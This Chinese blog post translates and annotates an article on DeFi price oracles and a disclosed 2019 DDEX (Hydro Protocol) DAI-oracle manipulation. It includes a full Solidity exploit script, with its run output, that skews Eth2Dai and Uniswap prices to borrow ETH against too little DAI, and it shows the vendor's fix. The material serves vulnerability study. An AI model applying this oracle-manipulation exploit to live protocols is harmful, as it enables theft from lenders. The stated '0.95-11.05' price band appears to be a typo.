【文章阅读】抵押品不足的贷款攻击

前言

原文:Taking undercollateralized loans for fun and for profit

DDEX 和 bZx 依赖链上去中心化价格预言机而不验证返回的利率,使其容易受到原子价格操纵。
本篇文章对原文的第一部分进行了翻译并添加了注释。

什么是去中心化借贷

当你申请一笔贷款时,通常需要提供某种抵押品。如果你的贷款违约,贷款人可以通过没收抵押品来弥补自身的损失。为了确定抵押品的价值,贷方需要可靠地计算出抵押品的公平市场价值(FMV)。但是智能合约不能简单地“知道”你试图提供的任何抵押品的 FMV。

为了解决这个问题,开发人员基于智能合约设计出价格预言机:接受一个代币的地址并以所需货币(例如,ETH 或美元)返回该代币的当前价格。

价格预言机大概可以分为五类

  1. 链下中心化预言机

    最新价格由项目组控制的线下预言机提供

    Compound Finance 和 Synthetix 采用这种形式

  2. 链下去中心化预言机

    这种类型的预言机接受来自多个链下来源的新价格,并通过数学函数(例如平均值)合并这些值。

    Maker 采用这种形式

  3. 链上中心化预言机

    这种类型的预言机使用链上资源(例如 DEX)来确定资产的价格。但是,只有中心化应用可以触发预言机从链上源读取。

    dYdXNuo 采用这种形式

  4. 链上去中心化预言机

    这种类型的预言机使用链上资源确定资产的价格,任何人都可以更新。可能会有一些健全性检查,以确保价格不会波动太大。

    bZx 对所有资产使用此类预言机,DDEX 只对 DAI 使用

  5. 常量预言机

    此类型的预言机只返回一个常数值,通常用于稳定币。

    USDC 等稳定币使用

问题

一般来说,如果价格预言机是完全去中心化的,那么攻击者可以在特定时刻显著地操纵价格,而滑点费用的损失很小或没有。如果攻击者可以使得 DeFi dApp 在价格被操纵的那一刻检查预言机,那么可能会对系统造成重大损害。在下面 DDEX 和 bZx 的例子中,可以取出看似充分抵押,但实际上抵押不足的贷款。

DDEX (Hydro Protocol)

DDEX 是一个去中心化的交易平台,正在向去中心化借贷发展,为他们的用户提供建立杠杆式多空头寸的能力。

2019 年 9 月 9 日,DDEX 将 DAI 作为资产添加到他们的保证金交易平台,并启用了 ETH/DAI 市场。通过 this 合约计算 PriceOfETHInUSD / PriceOfETHInDAI 来间接计算 DAI/USD 的值。

ETH/USD 的价格是从 Maker 预言机中读取, ETH/DAI 的价格是从 Eth2Dai 中读取的,或者如果买卖差价太大(大于 2%),则从 Uniswap 中读取。

为了触发更新并使预言机刷新其存储的值,用户只需调用 updatePrice()

源代码此处,下面为部分相关代码。

function updatePrice()
	public
	returns (bool)
{
	uint256 _price = peek();

	if (_price != 0) {
		price = _price;
		emit UpdatePrice(price);
		return true;
	} else {
		return false;
	}
}

function peek()
	public
	view
	returns (uint256 _price)
{
	uint256 makerDaoPrice = getMakerDaoPrice();

	if (makerDaoPrice == 0) {
		return _price;
	}

	uint256 eth2daiPrice = getEth2DaiPrice();

	if (eth2daiPrice > 0) {
		_price = makerDaoPrice.mul(ONE).div(eth2daiPrice);
		return _price;
	}

	uint256 uniswapPrice = getUniswapPrice();

	if (uniswapPrice > 0) {
		_price = makerDaoPrice.mul(ONE).div(uniswapPrice);
		return _price;
	}

	return _price;
}

function getEth2DaiPrice()
	public
	view
	returns (uint256)
{
	if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) {
		return 0;
	}

  // eth2daiETHAmount == 10 ether
	uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount);
	uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount);

	uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount);
	uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount);

	uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);

  // eth2daiMaxSpread == 2.00%
	if (spread > eth2daiMaxSpread) {
		return 0;
	} else {
		return bidPrice.add(askPrice).div(2);
	}
}

function getUniswapPrice()
	public
	view
	returns (uint256)
{
	uint256 ethAmount = UNISWAP.balance;
	uint256 daiAmount = DAI.balanceOf(UNISWAP);
	uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount);

	// uniswapMinETHAmount == 2000 ether
	if (ethAmount < uniswapMinETHAmount) {
		return 0;
	} else {
		return uniswapPrice;
	}
}

function getMakerDaoPrice()
	public
	view
	returns (uint256)
{
	(bytes32 value, bool has) = makerDaoOracle.peek();

	if (has) {
		return uint256(value);
	} else {
		return 0;
	}
}

攻击

如果我们能够大幅地控制 DAI/USD 的价格,那么我们希望抵押尽可能少的 DAI 来借出合约中的所有 ETH。我们可以通过降低 ETH/USD 的价格或者提高 DAI/USD 的价格来实现这一目标。本案例中选择后者。

为了达到提高 DAI/USD 价格的目的,我们可以通过提高 ETH/USD 价格或者降低 ETH/DAI 价格来实现。因为 Maker 提供 ETH/USD 的价格,而操纵 Maker (链下去中心化预言机)是不可能的,所以我们只能尝试降低 ETH/DAI 的价格。

要使得 DAI/USD 变大,ETH/USD不变,所以就只能令 ETH/DAI 的价格比值变小(也就是 DAI/ETH 的价格比值变大)

image

预言机会通过计算 Eth2Dai 中卖价与买价的平均值来确定 ETH/DAI 的价格。为了降低这个价格,我们需要通过促成现有订单来降低当前出价,然后通过下新订单来降低当前要价。这种方法需要大量的资产来实现。

因此,我们的目标是绕过 Eth2Dai 逻辑并操纵 Uniswap 中 ETH/DAI 的价格。我们可以通过向 Uniswap 买入大量 DAI (ETH/DAI 的存量比值变大)来降低 ETH/DAI 的价格比值。

文章中的 Uniswap 应该是指 V1 版本

我们需要控制买卖差价的大小来绕过 Eth2Dai,有以下两种方法:

  1. 促成订单簿的一侧的交易,而留下另一侧。
  2. 通过列出极端买入或卖出订单来强制交叉订单簿,使得买单价格高,卖单价格低。

但目标合约使用了 SafeMath 不允许交叉订单簿,因此我们无法使用第二种强制交叉订单簿的情况来使得 uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE); 满足 spread > 2% 。所以我们将通过清除订单簿的一侧来强制实现较大的价差。这将导致 DAI 预言机选择 Uniswap 来确定 DAI 的价格。然后,我们可以通过买入大量的 DAI 来降低 ETH/DAI 的的价格比值(ETH/DAI 的存量比值变大)。一旦 DAI/USD 的表面价值被操纵,便可实现攻击。

演示

根据以下攻击步骤可以获取大概 70 ETH 的利润

  1. 清除 Eth2Dai 的卖单,直到买卖价差大到足以让预言机拒绝询价
  2. 从 Uniswap 购买大量 DAI,将价格从 213DAI/ETH 降至 13DAI/ETH
  3. 以较少量 DAI 尽可能多地借入 ETH
  4. 将我们从 Uniswap 购买的 DAI 卖回 Uniswap
  5. 将我们从 Eth2Dai 购买的 DAI 卖回给 Eth2Dai
  6. 重置预言机(避免其他人使用我们的攻击手段)
contract DDEXExploit is Script, Constants, TokenHelper {
    OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
    DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);
    
    ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
    HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);
    
    uint16 private constant ETHDAI_MARKET_ID = 1;
    
    uint private constant INITIAL_BALANCE = 25000 ether;
    
    function setup() public {
        name("ddex-exploit");
        blockNumber(8572000);
    }
    
    function run() public {
        begin("exploit")
            .withBalance(INITIAL_BALANCE)
            .first(this.checkRates)
            .then(this.skewRates)
            .then(this.checkRates)
            .then(this.steal)
            .then(this.cleanup)
            .then(this.checkProfits);
    }
    
    function checkRates() external {
        uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
        uint daiPrice = DAI_ORACLE.getPrice(DAI);
        
        printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
    }
    
    uint private boughtFromMatchingMarket = 0;
    
    function skewRates() external {
        skewUniswapPrice();
        skewMatchingMarket();
        require(DAI_ORACLE.updatePrice());
    }
    
    function skewUniswapPrice() internal {
        DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
    }
    
    function skewMatchingMarket() internal {
        uint start = DAI.balanceOf(address(this));
        WETH.deposit.value(address(this).balance)();
        WETH.approve(address(MATCHING_MARKET), uint(-1));
        while (DAI_ORACLE.getEth2DaiPrice() != 0) {
            MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
        }
        boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
        WETH.withdrawAll();
    }
    
    function steal() external {
        HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
        HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
            category: HydroLike.BalanceCategory.Common,
            marketID: 0,
            user: address(this)
        });
        HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
            category: HydroLike.BalanceCategory.CollateralAccount,
            marketID: 1,
            user: address(this)
        });
        
        uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
        uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;
        
        printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));
        
        HydroLike.Action[] memory actions = new HydroLike.Action[](5);
        actions[0] = HydroLike.Action({
            actionType: HydroLike.ActionType.Deposit,
            encodedParams: abi.encode(address(DAI), uint(daiRequired))
        });
        actions[1] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
        });
        actions[2] = HydroLike.Action({
            actionType: HydroLike.ActionType.Borrow,
            encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
        });
        actions[3] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
        });
        actions[4] = HydroLike.Action({
            actionType: HydroLike.ActionType.Withdraw,
            encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
        });
        DAI.approve(address(HYDRO), daiRequired);
        HYDRO.batch(actions);
    }
    
    function cleanup() external {
        DAI.approve(address(MATCHING_MARKET), uint(-1));
        MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
        WETH.withdrawAll();
        
        DAI.giveAllToUniswap();
        require(DAI_ORACLE.updatePrice());
    }
    
    function checkProfits() external {
        printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
    }
}

/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/

解决方法

DDEX 部署了一个新的预言机,其中对 DAI 的价格限制在 0.95-11.05 之间。

function updatePrice()
	public
	returns (bool)
{
	uint256 _price = peek();

	if (_price == 0) {
		return false;
	}

	if (_price == price) {
		return true;
	}

	if (_price > maxPrice) {
		_price = maxPrice;
	} else if (_price < minPrice) {
		_price = minPrice;
	}

	price = _price;
	emit UpdatePrice(price);

	return true;
}
posted @ 2022-03-29 17:56  阿菜ACai  阅读(87)  评论(0编辑  收藏  举报